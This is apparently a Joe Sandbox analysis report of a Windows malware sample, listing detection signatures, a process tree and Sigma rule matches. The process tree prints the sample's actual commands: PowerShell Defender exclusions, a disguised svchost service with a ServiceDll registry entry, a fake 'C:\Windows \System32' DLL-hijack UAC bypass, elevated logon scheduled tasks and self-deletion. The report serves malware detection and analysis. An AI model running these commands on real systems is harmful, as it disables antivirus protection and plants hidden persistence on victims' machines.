Edit tour

Windows Analysis Report
Ld0f3NDosJ.exe

Overview

General Information

Sample name:	Ld0f3NDosJ.exe renamed because original name is a hash value
Original sample name:	00948444f3e248047722667419d54205.exe
Analysis ID:	1496433
MD5:	00948444f3e248047722667419d54205
SHA1:	ca291799966f2a1d8ec8cdab92daa6883bddac9e
SHA256:	c97c029e6368bf6502e9c9c9ee0fc079c61da9e79c3798e8a246d19446b5afa8
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: TrustedPath UAC Bypass Pattern

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Creates a Windows Service pointing to an executable in C:\Windows

Drops executables to the windows directory (C:\Windows) and starts them

Found API chain indicative of debugger detection

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Self deletion via cmd or bat file

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious New Service Creation

Uses schtasks.exe or at.exe to add and modify task schedules

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to create an SMB header

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Ld0f3NDosJ.exe (PID: 3552 cmdline: "C:\Users\user\Desktop\Ld0f3NDosJ.exe" MD5: 00948444F3E248047722667419D54205)

cmd.exe (PID: 5236 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6772 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5088 cmdline: cmd.exe /c start "" "C:\Users\user\Desktop\pyld64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

pyld64.exe (PID: 4388 cmdline: "C:\Users\user\Desktop\pyld64.exe" MD5: 43BCE45D873189F9AE2767D89A1C46E0)

cmd.exe (PID: 7072 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5412 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6252 cmdline: cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

usvcinsta64.exe (PID: 2736 cmdline: "C:\Windows\System32\usvcinsta64.exe" MD5: 11DDC0A34BAC7AB099D2EE8D9817BF58)

cmd.exe (PID: 4156 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6600 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4044 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5564 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6728 cmdline: cmd.exe /c mkdir "\\?\C:\Windows \System32" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4888 cmdline: cmd.exe /c start "" "C:\Windows \System32\printui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

printui.exe (PID: 4388 cmdline: "C:\Windows \System32\printui.exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E)

cmd.exe (PID: 880 cmdline: cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 1948 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

cmd.exe (PID: 6700 cmdline: cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\pyld64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2732 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

cmd.exe (PID: 4392 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2820 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5668 cmdline: cmd.exe /c sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f && sc start x543664 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6928 cmdline: sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

reg.exe (PID: 7072 cmdline: reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

sc.exe (PID: 2812 cmdline: sc start x543664 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5836 cmdline: cmd.exe /c start "" "C:\Windows\System32\console_zero.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

console_zero.exe (PID: 2224 cmdline: "C:\Windows\System32\console_zero.exe" MD5: 74CF33F8C2FCB56F749AAF411B9AE302)

cmd.exe (PID: 7064 cmdline: cmd.exe /c schtasks /delete /tn "console_zero" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6904 cmdline: schtasks /delete /tn "console_zero" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 6564 cmdline: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4392 cmdline: schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 6644 cmdline: cmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2744 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

cmd.exe (PID: 5020 cmdline: cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\Ld0f3NDosJ.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2332 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

svchost.exe (PID: 4816 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5564 cmdline: C:\Windows\System32\svchost.exe -k DcomLaunch MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 4892 cmdline: cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5048 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6308 cmdline: cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3492 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'E:\' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4888 cmdline: cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3908 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'F:\' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7032 cmdline: cmd.exe /c start "" "c:\windows\system32\crypti.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypti.exe (PID: 6252 cmdline: "c:\windows\system32\crypti.exe" MD5: D8C562EEBC88199B8D0E7274782C531D)

cmd.exe (PID: 3800 cmdline: cmd.exe /c start "" "c:\windows\system32\crypti.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypti.exe (PID: 6600 cmdline: "c:\windows\system32\crypti.exe" MD5: D8C562EEBC88199B8D0E7274782C531D)

cmd.exe (PID: 880 cmdline: cmd.exe /c start "" "c:\windows\system32\crypti.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypti.exe (PID: 6076 cmdline: "c:\windows\system32\crypti.exe" MD5: D8C562EEBC88199B8D0E7274782C531D)

cmd.exe (PID: 4328 cmdline: cmd.exe /c start "" "c:\windows\system32\crypti.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypti.exe (PID: 6928 cmdline: "c:\windows\system32\crypti.exe" MD5: D8C562EEBC88199B8D0E7274782C531D)

cmd.exe (PID: 1484 cmdline: cmd.exe /c start "" "c:\windows\system32\crypti.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypti.exe (PID: 6308 cmdline: "c:\windows\system32\crypti.exe" MD5: D8C562EEBC88199B8D0E7274782C531D)

cmd.exe (PID: 1864 cmdline: cmd.exe /c start "" "c:\windows\system32\crypti.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypti.exe (PID: 3884 cmdline: "c:\windows\system32\crypti.exe" MD5: D8C562EEBC88199B8D0E7274782C531D)

cmd.exe (PID: 6728 cmdline: cmd.exe /c start "" "c:\windows\system32\crypti.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypti.exe (PID: 6244 cmdline: "c:\windows\system32\crypti.exe" MD5: D8C562EEBC88199B8D0E7274782C531D)

cmd.exe (PID: 1056 cmdline: cmd.exe /c start "" "c:\windows\system32\crypti.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypti.exe (PID: 4996 cmdline: "c:\windows\system32\crypti.exe" MD5: D8C562EEBC88199B8D0E7274782C531D)

cmd.exe (PID: 2784 cmdline: cmd.exe /c start "" "c:\windows\system32\crypti.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypti.exe (PID: 1424 cmdline: "c:\windows\system32\crypti.exe" MD5: D8C562EEBC88199B8D0E7274782C531D)

console_zero.exe (PID: 7040 cmdline: C:\Windows\System32\console_zero.exe MD5: 74CF33F8C2FCB56F749AAF411B9AE302)

cmd.exe (PID: 6488 cmdline: cmd.exe /c schtasks /delete /tn "console_zero" /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5820 cmdline: schtasks /delete /tn "console_zero" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7080 cmdline: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7020 cmdline: schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cleanup

Sigma Signatures

System Summary

Sigma detected: TrustedPath UAC Bypass Pattern

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows \System32\printui.exe" , CommandLine: "C:\Windows \System32\printui.exe" , CommandLine|base64offset|contains: , Image: C:\Windows \System32\printui.exe, NewProcessName: C:\Windows \System32\printui.exe, OriginalFileName: C:\Windows \System32\printui.exe, ParentCommandLine: cmd.exe /c start "" "C:\Windows \System32\printui.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4888, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows \System32\printui.exe" , ProcessId: 4388, ProcessName: printui.exe

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Windows\System32\usvcinsta64.exe, ProcessId: 2736, TargetFilename: C:\Windows \System32\printui.dll

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f, CommandLine: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\console_zero.exe" , ParentImage: C:\Windows\System32\console_zero.exe, ParentProcessId: 2224, ParentProcessName: console_zero.exe, ProcessCommandLine: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f, ProcessId: 6564, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'", CommandLine: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Ld0f3NDosJ.exe", ParentImage: C:\Users\user\Desktop\Ld0f3NDosJ.exe, ParentProcessId: 3552, ParentProcessName: Ld0f3NDosJ.exe, ProcessCommandLine: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'", ProcessId: 5236, ProcessName: cmd.exe

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , CommandLine: sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: cmd.exe /c sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f && sc start x543664, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5668, ParentProcessName: cmd.exe, ProcessCommandLine: sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , ProcessId: 6928, ProcessName: sc.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , CommandLine: sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: cmd.exe /c sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f && sc start x543664, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5668, ParentProcessName: cmd.exe, ProcessCommandLine: sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , ProcessId: 6928, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'", CommandLine: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5236, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'", ProcessId: 6772, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 4816, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe	Virustotal: Detection: 64%	Perma Link
Source: C:\Users\user\Desktop\pyld64.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\Desktop\pyld64.exe	Virustotal: Detection: 64%	Perma Link
Source: C:\Windows \System32\printui.dll	ReversingLabs: Detection: 62%
Source: C:\Windows\System32\console_zero.exe	ReversingLabs: Detection: 18%
Source: C:\Windows\System32\usvcinsta64.exe	ReversingLabs: Detection: 58%
Source: C:\Windows\System32\x543664.dat	ReversingLabs: Detection: 41%

Multi AV Scanner detection for submitted file

Source: Ld0f3NDosJ.exe	ReversingLabs: Detection: 52%
Source: Ld0f3NDosJ.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\pyld64.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\x543664.dat	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Ld0f3NDosJ.exe

Joe Sandbox ML: detected

Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33342D0 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,CRYPTO_strdup,OPENSSL_LH_new,OPENSSL_LH_set_thunks,ERR_new,X509_STORE_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,OPENSSL_sk_num,ERR_new,OPENSSL_sk_new_null,ERR_new,OPENSSL_sk_new_null,ERR_new,CRYPTO_new_ex_data,ERR_new,RAND_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,	53_2_00007FFDA33342D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333E220 CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,BUF_MEM_free,EVP_MD_CTX_free,X509_free,X509_VERIFY_PARAM_move_peername,CRYPTO_free,	53_2_00007FFDA333E220
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3388B90 BIO_free,BIO_free,BIO_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,OPENSSL_cleanse,CRYPTO_free,	53_2_00007FFDA3388B90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3386A60 ERR_new,ERR_set_debug,SetLastError,BIO_write,BIO_test_flags,BIO_test_flags,ERR_new,ERR_set_debug,CRYPTO_free,	53_2_00007FFDA3386A60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3332F50 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,	53_2_00007FFDA3332F50
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3388CA0 CRYPTO_zalloc,OSSL_PARAM_get_int,ERR_new,OSSL_PARAM_get_uint,ERR_new,strcmp,OSSL_PARAM_get_uint32,ERR_new,strcmp,OSSL_PARAM_get_int,ERR_new,OSSL_PARAM_get_int,ERR_new,ERR_new,ERR_set_debug,BIO_up_ref,BIO_free,BIO_up_ref,BIO_up_ref,ERR_new,ERR_set_debug,ERR_set_error,EVP_CIPHER_is_a,EVP_CIPHER_is_a,	53_2_00007FFDA3388CA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332D360 CRYPTO_zalloc,CRYPTO_zalloc,CRYPTO_free,	53_2_00007FFDA332D360
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3337360 CRYPTO_free_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,	53_2_00007FFDA3337360
